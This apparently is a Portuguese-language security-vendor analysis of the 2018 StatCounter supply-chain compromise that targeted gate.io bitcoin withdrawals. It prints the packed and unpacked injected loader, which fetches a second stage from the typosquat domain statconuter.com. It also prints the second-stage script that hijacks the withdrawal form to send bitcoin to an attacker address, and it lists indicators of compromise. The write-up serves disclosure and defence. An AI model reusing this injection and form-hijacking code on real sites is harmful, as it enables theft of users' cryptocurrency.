[Atualizado em 8 de novembro] Na terça-feira (06), a plataforma StatCounter eliminou o script malicioso. Várias horas depois, a exchange Gate.io parou de usar o serviço de análise do StatCounter para evitar futuras infecções. Portanto, o incidente está resolvido e ambos os sites podem ser navegados com segurança.
No último sábado (03), cibercriminosos conseguiram atacar a segurança do StatCounter, uma plataforma de análise web. Esse serviço é usado por muitos webmasters para extrair dados estatísticos sobre as visitas recebidas por um site - semelhante ao oferecido pelo Google Analytics. Para fazer uso da ferramenta, os webmasters geralmente adicionam uma tag JavaScript externa por meio da qual incorporam um segmento de código do StatCounter -www.statcounter[.]com/counter/counter.js- em cada página web.
De acordo com o site oficial do StatCounter, a plataforma é usado por mais de dois milhões de sites e calcula estatísticas de mais de 10 bilhões de page views por mês. Esta informação está alinhada com a sua posição na classificação do Alexa, na qual a plataforma está localizada acima de 5.000. Para referência, o site oficial de distribuição do Debian Linux, debian.org, tem uma posição similar no ranking do Alexa.
Os cibercriminosos modificaram o script www.statcounter[.]com/counter/counter.js adicionando uma parte do código malicioso, que, como pode ser visto abaixo, está localizado no meio do script. Isso é incomum, já que os atacantes geralmente adicionam códigos maliciosos ao início ou ao final de um arquivo legítimo. Injetar código no meio de um script existente é geralmente difícil de detectar através da observação casual.
eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
O script é empacotado com o empacotador do Java Script, Dean Edwards - provavelmente o mais popular para JavaScript. No entanto, ele pode ser desempacotado de forma simples, resultando no código de script que será executado, como pode ser visto logo abaixo.
myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
Essa parte do código primeiro verifica se o URL contém myaccount/withdraw/BTC. Desta forma, podemos supor que o objetivo dos cibercriminosos é direcionar o ataque a uma plataforma de bitcoin. Se a revisão for positiva, o script continua e adiciona um novo script à página web e incorpora o código em https://www.statconuter[.]com/c.php.
Observe que os cibercriminosos registraram um domínio muito semelhante ao site legítimo StatCounter[.]com. Eles apenas mudaram a ordem de duas letras, que são difíceis de serem notadas ao revisar os logs por qualquer atividade incomum. É interessante notar que, ao analisar o DNS passivo do domínio, percebemos que esse domínio já estava suspenso em 2010 devido ao uso abusivo.
Conforme explicado acima, o script é direcionado para um URI (Uniform Resource Identifier) específico: myaccount/withdraw/BTC. Acontece que entre as diferentes exchange de criptomoedas disponíveis no momento da produção deste texto, apenas o gate.io conta com uma página válida com este URI. Portanto, essa exchange parece ser o alvo principal deste ataque. Deve-se notar que esta exchange é muito popular, e que está classificada no Alexa na posição 26.251 e na 8.308 na China.
Além disso, de acordo com a página coinmarketcap.com, vários milhões de dólares, incluindo 1,6 milhões de dólares apenas em transações bitcoin, passam por essa plataforma todos os dias. Com isso, pode ser muito lucrativo para os cibercriminosos roubar criptomoedas em grande escala nesta plataforma.
O site https://www.gate[.]io/myaccount/withdraw/BTC, apresentado abaixo, é usado para transferir bitcoin da conta gate.io para um endereço bitcoin externo.
Pode não ser surpreendente, mas acontece que o payload da segunda fase, do statconuter[.]com/c.php, é projetado para roubar bitcoins. Com o qual, faz sentido injetar o script no site gate.io. Este script também é empacotado com Dean Edwards. Em seguida, mostramos a versão desempacotada.
document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if (document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name'] = '';
var t = $("<input type='hidden' name='amount'/>");
t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
Na página genuína do gate.io, há atualmente uma função doSubmit, que é chamada quando o usuário clica no botão “enviar”, mas aqui os cibercriminosos a redefiniram.
O script substitui automaticamente o endereço bitcoin de destino com um endereço pertencente aos atacantes, por exemplo, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad. O servidor malicioso gera um novo endereço bitcoin toda vez que um visitante carrega o script statconuter[.]com/c.php. Desta forma, é difícil detectar quantos bitcoins foram transferidos para os cibercriminosos.
Dependendo se a vítima digitar um valor maior que 10 BTC ou não, será usado o script dos cibercriminosos ou o limite diário de retirada da conta da vítima. Em nosso teste, o limite de retirada é definido por padrão como 100 BTC. Finalmente, o script malicioso envia o formulário, que executa a transferência da conta da vítima para a carteira do cibercriminoso.
Esse redirecionamento provavelmente passa despercebido pela vítima, já que a substituição é feita depois que clicam no botão “enviar”. Com o qual, isso acontece muito rapidamente e provavelmente nem seja executado.
Como um novo endereço bitcoin é criado toda vez que o script malicioso é enviado para a vítima, não temos a capacidade de ver quantos bitcoins os cibercriminosos conseguiram obter. Por enquanto, se analisarmos os endereços que recebemos em nossa máquina de teste, o saldo é 0 BTC.
Conclusão
Mesmo que não saibamos quantos bitcoins foram roubados durante este ataque, isso mostra até onde os cibercriminosos podem ir para atacar um site específico, particularmente uma exchange de criptomoedas. Para conseguir isso, eles comprometeram o site de um serviço de análise, que é usado por mais de dois milhões de sites, incluindo várias páginas ligadas a instituições governamentais, para roubar bitcoins de clientes de uma única web para a exchange de criptomoedas.
Também mostra que, mesmo que o seu site esteja atualizado e bem protegido, a página permanece vulnerável ao elo mais fraco, que nesse caso era uma fonte externa. Este é outro lembrete de que os códigos Java Script externos estão sob o controle de terceiros e que podem ser modificados a qualquer momento sem qualquer aviso.
De nossa parte, notificamos o StatCounter e o gate.io assim que descobrimos essa atividade maliciosa.
Para qualquer dúvida ou para enviar amostras relacionadas ao assunto, entre em contato conosco através do seguinte endereço de e-mail: threatintel@eset.com.
Indicadores de Comprometimento
URLs maliciosas
- statcounter[.]com/counter/counter.js
- statconuter[.]com/c.php